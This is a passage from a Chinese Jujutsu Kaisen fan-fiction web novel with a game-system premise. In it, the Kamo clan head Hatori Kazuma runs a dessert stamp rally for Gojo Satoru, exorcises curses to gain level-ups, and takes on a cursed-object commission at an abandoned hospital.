【收集印章进度:15/16。】 好在马上就要完成,眼前这家蛋糕店就是最后一家。 “不过,最后终于是正常的蛋糕店了啊……毕竟这是个消遣活动,而且最后也能拿到秘密甜品,多少还有点期待呢。” 重振精神的五条悟也是这么想的,但他正要拉着羽取一真进去时,电话却突然响起。 是伊地知洁高打来的电话,拜托五条先生快来下水道一趟帮忙。 “…………唉,了解。” 挂掉电话的五条悟在原地沉默站了会,整个人感觉都快变得蔫哒哒的。 “我帮你买完最后一个商品?”羽取一真向他伸手要衬纸。 反正他不用去下水道帮忙,有时间买完盖完最后一枚印章。 “嗯——不行,” 五条悟肉眼可见的纠结了会,垮下肩膀。 “毕竟是秘密甜品,果然还是要亲自拿到手才会比较有期待感!接下来的时间就得你自己消遣了,加油哦——” 他拎着大包小包朝羽取一真挥了下手,拦辆出租车就出发去伊地知洁高和七海建人所在的下水道了。 在工作上完全没有抱怨,召之即来啊…… 羽取一真目送五条悟离开,自己则先去了最后那家蛋糕店。 他既想看看秘密甜品是什么,也想拿到支线任务奖励。 “麻烦了,这个集邮活动。” 羽取一真将衬纸递给店主,“我要购买限定商品。” “咦……没想到真的会有人收集印章啊,” 拿到盖满15个印章的店主大叔竟然吃了一惊,“好唷,感谢惠顾!正好秘密甜品的兑换也在我这里呢,稍等稍等。” 【令人心跳不已的甜品盖章集邮活动,收集印章进度:16/16。】 【获得奖励:烹饪技能解锁。】 这个技能姑且先放一边,羽取一真对这份所谓的[秘密甜品]感到无语。 辣咖喱味的蒙布朗? 什么人能想出这种诡异的食材搭配? 五条悟在收集印章的一路上都碎碎念着想吃甜的,对秘密甜品也非常期待…… 要是最后吃到嘴里发现其实是咖喱味,不知道会有多失望。 走在大街的羽取一真思索几秒,将手里的购物袋和那份蒙布朗全部收进物品栏,又回到最开始的那家西点店。 “不好意思,我要一张盖章用的空白衬纸。” 13、第 13 章 最终,被叫往下水道帮忙的五条悟在第一天还是没能集齐印章。 甚至第二天也没有,因为当他兴冲冲拉着羽取一真去那家蛋糕店,并且再三告诫他不准透露秘密甜品是什么的时候,发现今天竟然是蛋糕店的休息日。 羽取一真听见站在蛋糕店门前的五条悟发出了一声超泄气的呜鸣,而后拉他去看了场电影,途中吃下了一大桶蜂蜜爆米花作为心理安慰。 而第三天,五条悟又准时跑来敲羽取一真的房门。 “今天!” ——走在街道的他斩钉截铁对羽取一真道。 “我今天一定能盖上最后一枚印章,已经在网上确认过这家蛋糕店的营业时间了,绝对不会有问题!” “还有秘密甜品,哼哼,我肯定会吃到!” “肯定会的,肯定。” 羽取一真附和他。 虽然五条悟信誓旦旦说今天肯定可以集邮成功,但结果却是他正要踏进蛋糕店里时,不远处传来了老妪的叹息。 “这可怎么办才好……” 连那佝偻的身躯也因扛了过重的包袱而颤颤巍巍的,鬓发花白,汗水沁湿了头巾,满脸苦闷。 “实在不好意思……那边的小哥,” 她望向五条悟时,略浑浊的目光中充满求助意味,“如果可以的话,能不能帮我一个忙……” 站在五条悟身旁的羽取一真迅速打开弹窗看了一眼,发现没有出现新委托。 也就是说,这个求助竟然是只针对五条悟,而并非为玩家设计的? 被点名求助的五条悟也愣了片刻——即使有眼罩遮挡,也能观察到他动作明确的偷瞄了眼蛋糕店,紧接着就转了回来——然后语气轻盈的出声回应那位老婆婆。 “嗯嗯嗯,怎么了老婆婆?哇哦看上去好重的行李呀,不介意的话我可以帮忙吗?” 甚至在措辞间,用的还是对长者的敬语。 “这样的话,真的太好了……” 在五条悟主动接过去那两个沉甸甸的行李包袱后,老婆婆终于松口气,能腾出手颤抖着擦一擦汗。 “我是从青森坐车过来的,孙女在山形上学,我是头一次来看望她,顺便送些东西……但写着学校地址的信被风吹跑了,我追了一阵没找回来,结果现在又迷了路……” “唔啊,这听起来可真是不走运呢老婆婆,不过没关系,山形的学校并没有很多,只要知道您孙女的年级,很快就能找到了!” “这样吗,真是太好了,真的很感谢你,这位好心的小哥……” “别在意别在意,还是先找到您孙女要紧——那么她现在是在读国中呢,还是高中呢?” “我记得,是国中一年级……” “哎呀老婆婆的记忆力真好!等我找一下山行的国中学校有几所哦……” 既然决定了要帮忙,五条悟非常有耐心的和这位老婆婆沟通,并通过网络搜索到几家在山行的国中学校,准备逐一带她前往确认。 这听起来可不是一时半会能解决的事情啊。 羽取一真刚走了一下神,就听见五条悟喊他。 “没办法啦,集邮活动只能先放一边,我要带这位老婆婆去找孙女呢。你先随便消遣……嗯?” 后半句话含在舌尖没能说出,五条悟发现羽取一真走到那位老婆婆,背对着,在她面前半蹲下来。 “老婆婆也走累了吧?不介意的话,我来背你走。” 羽取一真认真道,“这样,也能更快找到您的孙女。” “哎呀……” 没想到面冷的黑发小哥也会主动提出帮忙,老婆婆十分不好意思,又相当感激地向他们鞠躬。 “真的非常感谢你们……” “不用客气。” 羽取一真微微点头,转过视线去看五条悟时,发现他在朝自己笑。 “?”羽取一真向他冒出一个问号。 “呼,什么也没有哦。”五条悟无辜偏开脑袋。 由于山形县是一个并不繁华的城市,不仅交通远没有京都和东京那样便利,不同落差之间的道路还用了大量的阶梯衔接;以致于他们前往某些地点时,比起绕远路的开车,还是走路去要更快。 也幸亏有羽取一真背着老婆婆走,才让时间不会耽搁太多在赶路上。 中午还由五条悟掏钱请客,招待老婆婆在店里吃了顿饭。 直到太阳从东挪到西,在二人的脚下拉出长长的影子时,他们终于在倒数第二家学校找见了老婆婆的孙女。 那时也到了放学时间,当踏出学校大门的孙女一眼望见老婆婆时,惊喜之后的笑容格外灿烂,连脑后的发辫也欢快甩得高高的,朝这边跑来。 “诶呀……能看见那么美好的一幕,跑遍小半个山行也不亏啦。” 五条悟伸了个懒腰,掏出手机看眼时间。 “而且还来得及去蛋糕店,好耶!” 羽取一真轻轻点头,“这样就可以集齐印章了。” 他还是第一次在游戏里,明明没有发布委托也主动提出帮忙,甚至在花费一整天时间跑图完成它后,还觉得心情很好。 是这款虚拟游戏做得格外真实的缘故吗? 羽取一真的目光微动,落在兴致勃勃的五条悟身上。 不,或许应该说是……过于真实了。 ………… 连蛋糕店的老板也没料到,继前天的羽取一真后,竟然还有人会带着盖满印章的衬纸来换取[秘密甜品]。 而且还是个怎么看都和甜品搭不上边的一米九高大帅哥。 虽说另一位看起来也完全不像是会喜欢吃甜品的类型。 将纸袋递给那位大帅哥时,蛋糕店老板忍不住在心里嘀咕。 他还以为那位黑发青年是吃完特意来找他吐槽的,没成想竟然是带朋友来兑换。 莫非他们对辣咖喱蒙布朗很满意?真是怪了……明明之前的反馈都不怎么样来着。 五条悟才不管大叔的心里想法呢,成功集齐印章的他开开心心冲人道声谢,就带着那份[神秘甜品]和羽取一真离开了。 还是老地方的公园长椅。 “没想到会这么顺利呢,[神秘甜品]!噢噢,原来是蒙布朗啊,辛苦跑了十几家后亲自拿到手的感觉真是不一样!” 五条悟哼着不成调的旋律拆开包装,举着小叉子找角度下手。 羽取一真坐在旁边,聚精会神地紧盯他的反应。 会接受辣咖喱味蒙布朗吗?还是不接受? “也不知道是哪个地方有让它成为限定甜品的实力呢……哎呀没关系,尝一口就知道啦。我开动了——” 五条悟啊呜一口将切下来的那块蒙布朗塞入口中。 五条悟获得了僵硬debuff。 “…………” “好难吃!” “难吃过头了!” “怎么会这么辣啊!!” 回过神的五条悟发出超级大声的抱怨,是整个人都要气到炸毛兼跳脚的程度。 “难吃就算了,至少做成甜的啊!辣咖喱味到底是想怎样,往猎奇方面靠拢的限定活动也太乱来了吧!!” 确定他的反应与前天的自己相同,羽取一真暗自松了口气。 看来,不是他一个人觉得辣咖喱味的蒙布朗很奇怪。 “唔嗷,可恶,早知道就让你告诉我[秘密甜品]到底是什么啦……现在超想吃普通的甜品,结果又到了闭店的时间,不知道还有没有营业中的……” 五条悟坐在长椅上,捧着辣咖喱味蒙布朗嘟嘟囔囔的抱怨,碎碎念的尾音传来羽取一真这边,简直能幻视出一个简笔小人气到在对着空气打拳,然后悲伤得倒地吐魂。 被眼罩束到翘起的白毛尖尖也在跟着一抖一抖。 “咳,嗯。” 羽取一真清了下嗓子,好引起五条悟的注意——接着,顺势将准备好的那张空白衬纸递到他面前。 “欸?” 五条悟甚至不确定地拉下眼罩,用漂亮的蓝瞳打量那张衬纸,百分之百肯定这和他刚收集完的那张一模一样后,再默默抬起视线,看向羽取一真。 “这不是我们已经集齐的那张衬纸吗,你又找店员要了张新的?再收集一次的话我可不干哦。” “这是加茂家主举办的[令人心跳不已的甜品盖章集邮活动],” 五条悟听着对方在一本正经的介绍。 “集齐印章有神秘甜品喔,这位客人。” “咦,” 五条悟眨了下蓝瞳,盯着羽取一真看半晌,又垂下眼去看那张衬纸,不太确定道。 “为我准备的集邮活动?” 他这次是真的格外惊讶,以至于脱口而出的这句话里,没有包含任何刻意拉进距离的亲近语气——反而显得有点呆愣。 被公认强大到与其余术师不在一个次元的五条悟,平日为了冲淡那份过强力量所带来的疏离感,他有时在私下的接触交谈中,会特意采用轻浮或耍宝的口吻来避免众人会对他产生的畏惧与退避。 但其实在工作外的绝大多数时候,他也没几个人能亲近。 但此刻,五条悟发现,事实也并不如此。 原本他半是保护、半是监视带过来的青年,竟然拿出了一张衬纸,对他说[这是特别为你准备的活动]。 这种有点飘飘然的心情,真让人感到愉快啊…… “哎呀那么,我该怎么集齐印章呢——这位家主?” 五条悟不由自主笑起来,将蒙布朗放在椅子上,双手接过那张空白的衬纸。 “嗯,问得很好。” 就像不清楚羽取一真上次是从哪里掏出一条活的银松叶锦鲤那般,这次也是直接将一个小巧精致的纸盒放在他手里。 “首先第一个印章,就是吃完这枚草莓大福。” 五条悟的蓝瞳顿时变得亮晶晶的,像夏季里无限延伸至尽头的蔚蓝晴空。 “好耶!” 14、第 14 章 转天。 “五条先生,很抱歉出现了紧急事件,我们在八番町的附近观测到数只与一级实力相当的咒灵,由于[窗]都被紧急调用至下水道协助处理[鼠咒灵]的事件,导致现在能立刻前往现场的只有您……” 面对总是不按常理出牌的五条悟,身为辅助监督的伊地知洁高隔着电话都汗流浃背,生怕被对方训斥。 但意外的,他这次的紧急任务请求没有换来任何抱怨。 “嗯嗯,好噢,没有问题,把详细地址发给我就好——” 电话对面的五条悟听起来还挺高兴,很是乐意地接下了这个临时指派的活。 “好的,咦,欸……五条先生的心情很好?” 伊地知洁高困惑问了一句。 “还不错,”五条悟对着电话愉快笑了两声,“伊地知和七海那边也加油喔,就这样,拜拜!” 他说每一句话时的尾音都拖得长长的,带着轻快上扬的语调。 哪怕挂掉通话后的唇边也带着笑,格外活泼地朝坐在旁边等他打完电话的黑发青年招手。 “走咯走咯,带你去祓除咒灵——” “好。”羽取一真起身。 终于能和大佬一起刷副本了,有点期待。 这款游戏的设计非常特殊,无论野怪抑或精英怪,大多盘踞在人多的地方,且会对普通人造成伤害。 这也造成了咒术师在祓除咒灵时,不仅需要提前驱散普通人群,还要降下一种名为[帐]的结界术,旨在混淆普通人的认知,让他们无法发现[帐]内的战斗,只以为那些建筑物还是平常的模样。 实际上,这栋大楼的楼顶已经被五条悟削掉了小半,切口整齐光滑,连半点残骸都没剩下。 而那只如压路机般庞大的咒灵正在发出断断续续的哀嚎,仿佛整副身躯受到空气的挤压,向内坍缩,扭曲。 羽取一真站在旁边,压根没有出手的机会。 但五条悟将它硬生生压缩至原先的五分之一,才停止了[苍]的咒力输出。 “来,试试看你的术式,”他扭头对羽取一真道,“我见过的[赤血操术]所有者,发动术式有两种方向,一种是操纵自身体内的血液成分,把它当成兴奋剂来使用,进而提升身体强度。” “另一种则是在体外控制自身的血液,将它当成中远距离的杀伤性武器——其中既有附着在武器上进行操纵的,也有单纯将血液当成武器的。” “你现在能使用的是哪种呢?” 五条悟笑眯眯朝他歪过脑袋,空间好似隔开了一层屏障,让那只咒灵发出的咒力冲击波尽数止步于半米开外。 即使在面对准一级咒灵,他也格外游刃有余,根本没将对方放在眼里。 防止[六眼]负担过重的眼罩已经被拉至颈间,失去违背重心引力的约束,那头银白的短发柔软垂落在脸侧,在阳光下泛出一种空灵的温暖光晕。 但再仔细些端详,就能看见有许多发梢带着不服输的气势翘起,好似非要和重力较量出一个高低来。 “不过呢,这些毕竟都是[赤血操术]的术式之一,说到底,你应该都能使用才对。” 五条悟侧开身体,让羽取一真能够直面那只已经奄奄一息的咒灵,只需要进行最后的练手兼补刀就可以。 能被更常让学生自己进行试炼的五条老师这样照顾,羽取一真也算是有史以来的头一回了,让伊地知洁高看见,能震惊到眼镜碎裂。 【您找到了准一级[槌咒灵]。】 【进入战斗:是/否。】 这个弹窗已经在羽取一真的视野里挂了许久,此刻终于被他点了【是】。 游戏的战斗机制设计得挺好,只要他这边不选择进入战斗,敌方目标永远无法先手对他进行攻击,哪怕五条悟和他组着队也不行。 大概是一种保护措施吧,为了防止突然遭遇高等级咒灵,而他又完全打不过。 话说,这个游戏有复活机制吗?是他死了就算这周目结束,还是无限复活直到剧情走完、迎来结局为止? 这些想法在羽取一真的脑海里过了一遍,暂时压在心底。 毕竟他现在还有更重要的事情。 [赤血操术]! 在游戏的辅助动作下,羽取一真扬手间洒出无数血珠,在空中短暂凝滞后,朝着目标疾驰而去的爆发力如无数机枪轰然齐射,不仅是瞬间千疮百孔的咒灵,连坚固的混凝墙壁都被连带贯穿出密密麻麻的孔洞。 那只被五条悟硬挤成压缩饼干、动弹不得的咒灵,这下只能发出最后一声哀嚎,就此消散殆尽。 而当羽取一真收回手时,掌心里再度躺着一枚棱柱形的漆黑晶体,颜色比上次掉落的四级咒力结晶要浓郁得多。 【准一级咒力结晶:可大幅提升咒力量上限。】 不愧是他的核心技能[赤血操术],一击就把他的咒力量打空了。 至于这枚结晶……羽取一真正要进行[吃掉]这个动作,身边忽然伸来一只手,将那枚咒力结晶拿走了。 “嗯?” 羽取一真望向正在认真端详那枚结晶的五条悟,蓝瞳睁得大大的,漂亮得要命。 “还真是除了咒力外什么也没有,和咒物的构成也不一样……” 五条悟好奇的将那枚结晶翻来覆去打量,完全不理解为什么被羽取一真祓除的咒灵会掉落这种奇妙的东西。 “这个,是直接吃掉就行?”他冲羽取一真晃了晃这根比食指略粗的棱柱。 “对。” 羽取一真点头,接着看见五条悟捻着那枚咒力结晶的尾端,啊呜一下就把那根结晶整个放进口中。 “…………” 很快又看见他原样吐了出来,垮着张脸,“吞不进去,根本不是入口即化。” 和羽取一真的描述完全不同,这东西还硌牙,超级硬的! 五条悟将那枚结晶在衣服上擦了擦,还给羽取一真,“看来只有你能使用呢,应该也是除[赤血操术]外的一种术式?” “差不多。” 羽取一真接过那枚结晶,顺利进行了[吸收]这个行为。 五条悟在边上看着他泰然自若将那枚结晶吞咽入肚,完全没有计较自己刚才行为的反应……有点欲言又止,但要真的明说出来,好像又有哪里怪怪。 咳,算、算了,既然对方没反应过来,他也可以假装没有发现…… 【咒力(三级):一切技能使用的基础。可通过各种方式来提高咒力上限,获得更持续的作战时间。】 不愧是准一级的咒灵,不仅瞬间充满了他的咒力,还把上限拔高到三极。 羽取一真在关掉弹窗前,顺便开了下好感度界面。 【当前,与您有过接触的人物按好感度排列如下: 五条悟:31; 伏黑惠:10; 加茂宪纪:-10; 加茂长吉:-100; 加茂乃吉:-100; 加茂平七:-100; ……】 这几天的相处里,五条悟竟然默不作声的给他涨了20好感度! 羽取一真的心情顿时变得很好。 就在他关掉弹窗时,这个界面忽然弹出一个警告。 【请注意,如下人物的服从度过低,进行您命令之外行动的概率增加。】 羽取一真粗略扫了眼名单,基本就是加茂长吉那些老头。 好啊,他还没和这帮顺带在总监部任职的老头计较给五条悟安排超负荷工作的事情,他们竟敢先擅自降低服从度? 呵,等他回去。 五条悟用[六眼]确认这栋建筑物里再没有第二只咒灵后,便带着羽取一真离开,赶往下一个伊地知洁高发来的地点。 以前的咒灵祓除完就没有后续了,或者顶多掉个咒物之类的东西需要封印。 哪像现在这样,竟然跟游戏刷怪似的,让这位加茂家主祓除咒灵就会掉结晶耶,超有趣! 一贯喜欢玩这类战斗游戏的五条悟兴致勃勃,花费了几天功夫,将附近所有观测到的咒灵出没地点都扫荡得干干净净。 羽取一真跟着他后面补刀、吸收【结晶】,整套动作流畅又娴熟。 不止咒力量噌噌上涨到一级,反复刷满熟练度的[赤血操术]也更新出了好几种攻击手段。 作为大佬带飞的报答,羽取一真那张衬纸上的印章已经盖满了大半,都是他用烹饪技能做出来的甜品。 其实他本人是完全不会料理的,幸好在选定要做的甜品后,游戏便会提供相应的技能辅助——这意味着他只要购买的食材充足,总会有做成功的概率。 而今天,暂时没有咒灵需要祓除的他们正坐在那条名为最上川的河边钓鱼。 主要是羽取一真想钓鱼赚金币,五条悟纯属陪同,但也钓得超起劲。 “哼哼,什么都能做到完美的五条老师,就连钓鱼也必定满载而归!” “不愧是悟,”羽取一真配合为他鼓掌,顺便给出奖励。 “只要钓够十条鱼,就能得到最后那枚印章了。” “哇噢,离[神秘甜品]只差一步啊,这下可真是让人热血沸腾起来——” 五条悟顿时变得更加兴致冲冲,正要大力挥竿将鱼钩甩出去,口袋里的电话却突然响起。 “五条先生,[鼠咒灵]已经合体,到你出场的时候了!” “…………伊地知,宰了你哦。” “咦!?” 15、第 15 章 啪嗒。 暴雨来临前,天空是灰朦的,铅灰色的云层如海浪滚涌,间或杂夹着闷沉雷鸣。 当太阳被彻底遮蔽,地上的一切便显得更晦暗,落在眼底便化作冰冷的苍白,散发着令人厌恶的死气。 “夏油先生,您的信。” 一位正装打扮的女性恭谨站在距离稍远的位置,弯腰将信笺远远向前递出。 “哎哟,感谢。” 倚坐在栅格窗边、身穿袈裟的青年正眺望着风景,闻言便转回视线来,伸手要拿过那封信——却在手指忽而僵硬住的轻颤之下,让那张薄薄的纸飘落在地。 那位女性略微怔愣片刻,立刻上前拾起那封信,再度重复了一次[递交]的动作。 这次,半扎长发的袈裟青年露出一个微笑,接过那张纸。 “抱歉哦,我还不太习惯。” “是身体还没好吗?”她关心问道,“我看到您的伤口还没有拆线……” “啊,这里吗?差不多吧,不是一时半会就能痊愈的呢。” 他点了点横贯额头的那道缝线,比出一个无奈的手势,边将那封信拆开。 等再过了片刻,迟来的雨终于跳跃在窗棂上,溅落无数细碎透明的水珠,映照出疾风骤雨下特有的冷青色。 “嗯……和五条悟一起行动的加茂家主啊,真是有趣。那些老人家也开始着急了呢。” 他站起身,将那张写满字的白纸被折叠,收起,又到书桌前铺开一张空白的新纸,写上回信。 “看来,还是得让他们有点紧张感,才能让计划推动得更顺利,” 自始至终,他说话的语速都是不疾不徐的,连那落笔的姿态也仿若对弈时的执棋落子,流露出某种特殊的优雅与从容。 身侧的女性始终敛目安静站着,并不发表任何意见。 “止步于这世上的未知,即如同在自身的想象力面前低头。老人家的头脑总会被名为[恐惧]的情绪框住呢。” 被唤作[夏油先生]的青年停笔时,顺势用尾端点了点额头,若有所思道。 “嗯,就先用它来试探一下好了。” ………… “好了——结束。” 那只合体后模样变得更加乱七八糟的[鼠咒灵],被五条悟像拧毛巾那般毫不留情地压缩,扭曲,在极短时间内就变成某种麻花似的模样,看起来格外凄惨。 即使是能够媲美特级的强大咒灵,在五条悟面前也没有任何挣扎的余地。 但与以往的直接祓除不同,五条悟这次特意让开半步,由羽取一真来进行最后的收尾一击。 羽取一真也不客气,毕竟跟在大佬身后蹭经验升级的感觉超级爽。 只是特级似乎很难升,他的咒力量和术式几天前就卡在一级不动了。 不过,他在祓除咒灵后直接吞掉咒力结晶的动作,着实让行事作风最为成熟的七海建人都有点看愣住。 “那是什么,掉落的咒物吗,竟然采取[吃掉]的处理方式?” “只是他术式的产物哦,” 五条悟拉起眼罩,表情笑眯眯的,和七海建人解释时的口吻都变了,好似显摆这个能力的是他自己,“怎么样,很羡慕吧?” “……并没有。”七海建人平静回道。 比起羡慕这种事情,他更愿意现在就收工下班回家。 “合体的[鼠咒灵]已经成功解决,但还有些善后的事情需要七海先生继续协助,” 伊地知洁高歉意道,“而五条先生,茨城那边的[窗]发来报告……” “是-是,又有一级以上的咒灵出现对吧,” 五条悟摆手,语气是懒洋洋到完全提不起劲的感觉,但身体已经在朝下水道外面走去,“知道啦,我现在就出发。” “我也要……” 羽取一真正要跟上,弹窗却在这时跳出在眼前。 【当前任务:鼠咒灵与不如意的休息日。】 【祓除鼠咒灵:100%/100%。】 【获得奖励:武器[血寄斗枪]。】 武器?羽取一真尚未来得及仔细查阅说明,视野内又出现了一行新的文字。 【新增限时任务:加茂家的暗流涌动。】 【该任务限时一周,需在截止日前获得加茂家至少百分之八十的支配程度:12%/80%。】 “嗯?” 五条悟发现羽取一真的那句话说出半截便突然卡在中途,半天没了下文。 “吃坏肚子了?”——他朝对方很是可爱地歪了下脑袋,开这句玩笑时,翘起的白毛尖尖同样随之一抖。 “……不是,” 羽取一真很心动,但只能垮下肩膀,对于无法跟着五条悟继续刷副本这点是肉眼可见的格外失望。 “我得回去一趟加茂家。” 再不回去,那帮能给他赚金币的老头是真的要造反。 “啊哦,你确实得回去了。” 五条悟清楚御三家的那帮人基本都只知道循规蹈矩,各个传统又古板到可以做成标本放博物馆展览的程度——他可以依靠绝对的武力在五条家搞一言堂,但加茂那边显然还做不到。 尤其羽取一真当上家主没多久就跟着自己来祓除咒灵,完全没来得及打造支持他当家主的势力团体。 “等下,答应好的[秘密甜品]……” 羽取一真正打算从物品栏拿出那份早就准备好的甜品,却被五条悟坚定的拒绝了,“不——行。” 甚至还用双手在身前比了个大大的叉,超级坚定的拒绝了提前拿到这份神秘礼物。 羽取一真的动作一顿,“嗯?” “说好钓够十条鱼才能拿到的,怎么能中途改变活动规则?” 五条悟在这方面反而显得格外坚持——当然是遵守流程一步一步完成,最后凭借自己努力获得的[神秘甜品],才是吃起来最美味的甜品! “反正我肯定会抽空钓够啦,那份[神秘甜品]就先暂时寄存在你那里,不准偷吃喔!” 这才捋顺五条悟逻辑的羽取一真好笑点头。 “我知道了。” 反正放在物品栏里也不会坏,就等他拿十条鱼来兑换吧。 于是,羽取一真不得不在山形县与五条悟分别,自己乘坐飞机返回京都。 在那里,还有一帮老头等着他去教训……不对,请客。 “只有这些?” 由障子门层叠隔开的正殿内,拿着一摞纸的羽取一真坐在上位,抬眼望向加茂长吉的目光冷漠,透出十足的不愉快。 “我好心好意请你们吃饭,你却不识抬举。” 他一回来就命令加茂长吉将加茂家的全部核心资料拿给他,尤其是人员、资产与武器的清点数目。 但在等了大半天后,真正到手的内容却根本无法令羽取一真满意。 加茂长吉或许认为这些数据能够糊弄他,却并不知道他能直观的从任务界面里看到进度。 【获得加茂家至少百分之八十的支配程度:34%/80%。】 也就是说,加茂长吉至少私藏了一大半的情报没有向他披露。 “如果你们在挑战我的耐心,”羽取一真的视线缓慢扫过底下众人,“我也不介意试试你们的。” 加茂长吉的冷汗悄悄冒出脊背,浸透了贴身的和服里衬。 “这里确实已经是全部……” “撒谎。” 羽取一真淡淡打断了对方的狡辩,很直接的对另一位长老——加茂乃吉开口道。 “我记得你与加茂长吉是兄弟,在加茂一族内的地位是同样高的。” 端着碗的加茂乃吉神情一顿,才颇有点犹疑的回答道,“没错。” “那么就这样做吧,”羽取一真抬手,“如果你将【加茂家主应当有权知晓的情报】全部交给我,你就不用跟着加茂长吉反复吃烂饭了。” “…………” 同样正端着碗的加茂长吉,以及余下的众人都沉默了。 敢情这小子也知道自己是在逼他们吃烂饭…! “真的?” 突然抓住希望的加茂乃吉神色一亮,在纠结思考过后,果断无视了加茂长吉不停冲他丢来的瞪视。 “是否可以先让老夫看过那些资料?老夫不确定长吉遗漏了哪些内容。” 羽取一真相当干脆地将手里那叠纸甩给他。 加茂乃吉则迅速翻阅一遍,又让羽取一真稍等,自己则挥手招来另一位仆人,低声嘱咐几句。 羽取一真暂停反复【请客】的强制行为,选择再给对方一次机会。 如果这次还不能让他满意,那他也不打算再继续浪费金币来【请客】了。 刚拿到手的[血寄斗枪],羽取一真并不介意用这帮叛逆的老头来试一下它的威力。 这次又等了约一个小时,送过来的内容明显增添了更多的内容——当然,羽取一真不是通过纸张厚度判断的。 【获得加茂家至少百分之八十的支配程度:64%/80%。】 获悉情报的多寡,也是支配程度的一种体现。 “这里,为什么特意标注一级咒物[疱疮祸根]——监测中?” 羽取一真看到最后,发现除去面向普通社会的大量商业资产外,加茂家在咒术相关的领域内则拥有许多咒具,以及一些等级不低的咒物。 但那些咒物的去向也基本是[镇压xx地域中],被用成了以毒攻毒的辟邪物——这点,悟也和他详细介绍过。 唯独这一项是[监测中]。 “事…事实上,这条情报只有我等极少数人知晓。” 加茂乃吉擦了擦汗,“此为加茂家内部的失误,在运送时导致它的封印被解除,扎根在那栋废弃医院里,不断吸收周边的负面情绪……” “好消息是周围的普通人并不算多,产生的负面情绪倒也不大,” “坏消息是废弃医院本身就会作为负面情绪的聚集地,一旦被某些人注意到,杜撰成恐怖的都市传说之类……[疱疮祸根]就会彻底长成。” “原来如此。”羽取一真颔首。 “既然家主您有注意到这点,又是能与五条悟一同出任务的强大咒术师,”加茂乃吉进言道,“可否请您前往帮忙祓除……?” 【当前触发委托: 加茂乃吉的试探:请在规定时间内,祓除[疱疮祸根]。 奖励:可提升加茂家的支配程度。】 是在试探他的实力,还是想要趁机抹去加茂家之前犯下的失误? 羽取一真沉吟着,欣然接下这份委托。 “好。” 16、第 16 章 “[疱疮祸根]?哎呀……我不怎么在意特级以下的存在啦,无论咒灵还是咒物之类,都超——弱的。” 保险起见,羽取一真在出发前,还是先给五条悟打过去电话确认。 手机是他们在山形县逛八番町时买的,起因来自五条悟想和羽取一真互换联络方式时,才发现对方除了双手空空以外,口袋也空空。 而此刻,羽取一真的新手机里也仅有一位联络人。 不过,这位联络人显然由于自身实力太强,以至于在相关情报的掌握上,可能还不如经常待他身边的那位辅助监督。 “我去让伊地知收集一下资料,他比较擅长干这类事情。” 在羽取一真打过去的通话另一端,与五条悟的声音一同传来的还有尖锐的警笛与喇叭声,动静刺耳到整句话都变得时断时续。 “不过,加茂家的那帮老头竟然主动向你透露他们的失误?这还真是稀奇,他们可是都是死要面子到极点的老古板哦……” 五条悟在对着他感叹,但羽取一真听得十分勉强,注意力总被电话里传来的其它噪音拉走。 “你那边……” 羽取一真刚要开口,声音就被骤然响起的警报彻底盖了过去,连手机下意识都从耳边拿开了些。 但随即,这声响便骤然弱下去许多,似乎是五条悟主动远离了那堆混乱又尖锐的噪音源。 “我刚到咒灵的发现地,” 五条悟那偏轻快的上扬声音也变得稳定许多,主动向羽取一真解释道。 “这只咒灵诞生于还在运转中的工厂啊,造成的人员事故还蛮大的,警车和消防车都来了。” “我们这边则以瓦斯爆炸的借口与政府接洽,请他们帮忙紧急疏散民众,所以刚才警报也被拉响,提醒还在工厂里的人员需要尽快撤离。” “那你也要注意安全。”羽取一真恍然时,下意识对着他脱口而出。 “——哇噢,这句话还真是很少听见呢,我。” 五条悟的声音停顿片刻,才又向羽取一真开口道,咬字间却带出一点不由自主般的愉快笑意。 “好啦,那我就收下你的关心了!” 羽取一真听着电话那头在笑,心情也随之变得很好。 但这点静谧的时刻转瞬即逝,五条悟那边的电话又传来人声,听起来十分急切,似乎是在喊他出动。 “那就这样,等我带十条鱼回去找你盖印章,拜拜——” 嘟。 留下羽取一真对着电话缓慢眨了两下眼,才收起那部除去联络五条悟外几乎没有其它作用的手机。 但即使五条悟要忙着解决咒灵引发的骚乱问题,刚才主动提出的帮忙也没忘——羽取一真没有等很久,[疱疮祸根]的资料便发到了他的邮箱里。 陌生的来件地址,应该是那位伊地知洁高的。 羽取一真打开,里面对于[疱疮祸根]的描述极为详细,包括之前确实有运送它前往郊外废弃医院的记录,但在官方资料上注明的是[镇压中,无异常]。 [窗]的定期上报也中规中矩,与镇压其它地方的咒物相比,并没有任何特别的地方。 从两份资料的对比上来判断,加茂长吉他们确实从官方层面隐瞒了咒物早已解封这件事。 而按照资料的对于[疱疮祸根]的说法,它看似起源于一则古代的妖怪传说,其实是来自于江户后期一位诅咒师的肆意作乱,通称为[盗墓的疱疮婆婆]。 在那因疱疮传染而人心惶惶的年代,有位疱疮婆婆专门掘墓盗走感染疱疮的死尸。 即使村民们不断祈祷,还在坟墓上压上沉重的巨石,也依然无法阻止尸体的消失与疱疮的流行,死去的人与消失的尸体也越来越多。 最后,恶性循环般的庞大恐惧彻底压垮了整个村庄,海量的负面情绪积累出了疱疮咒灵,也引来了前来祓除的咒术师。 对于不懂咒灵、咒力与诅咒的普通村民而言,他们只知道从某天开始,尸体再也不会被盗走,疱疮也骤然消失无踪。 留下的,仅有[盗墓的疱疮婆婆]这一传说,也被简称为疱疮婆。 而根据咒术界这边的记录,疱疮婆实则是一位用村民养蛊的邪恶诅咒师,即使诛灭后也留有名为[疱疮祸根]的咒物,多年来都被用于镇压一方地域免受低阶咒灵侵蚀。 但倘若咒物的[封印]被剥离,它拥有的咒力便会遭到高阶咒灵觊觎,进而试图吞食以增强自身。 另外也会有咒物反过来改造咒灵的情况,类似于夺舍,或是反噬? 所以,他要注意的是被这个咒物引来的咒灵,或者被它改造的咒灵。 仔细浏览完资料的羽取一真收起手机,望向眼前的这栋废弃医院。 [帐]是刚才由加茂家的人降下的,视野内的天空仿佛被一层晦暗的滤镜笼罩,在光线迅速黯淡下来时,空气亦发出阵阵低声的嗡鸣,好似将[危险]这一概念具现化在这咫尺方圆之内。 此刻,只有羽取一真站在这里,也是他初次独自面对咒灵。 身边没有五条悟和伏黑惠,手机也因[帐]被降下的缘故,彻底断了向外界联络的信号。 不过,羽取一真并不显得紧张。 【您踏入了一级咒物[疱疮祸根]所在的领地。】 【进入战斗:是/否。】 【是。】 对他而言,这只是从组队刷野怪,变成沉浸式刷单人副本罢了。 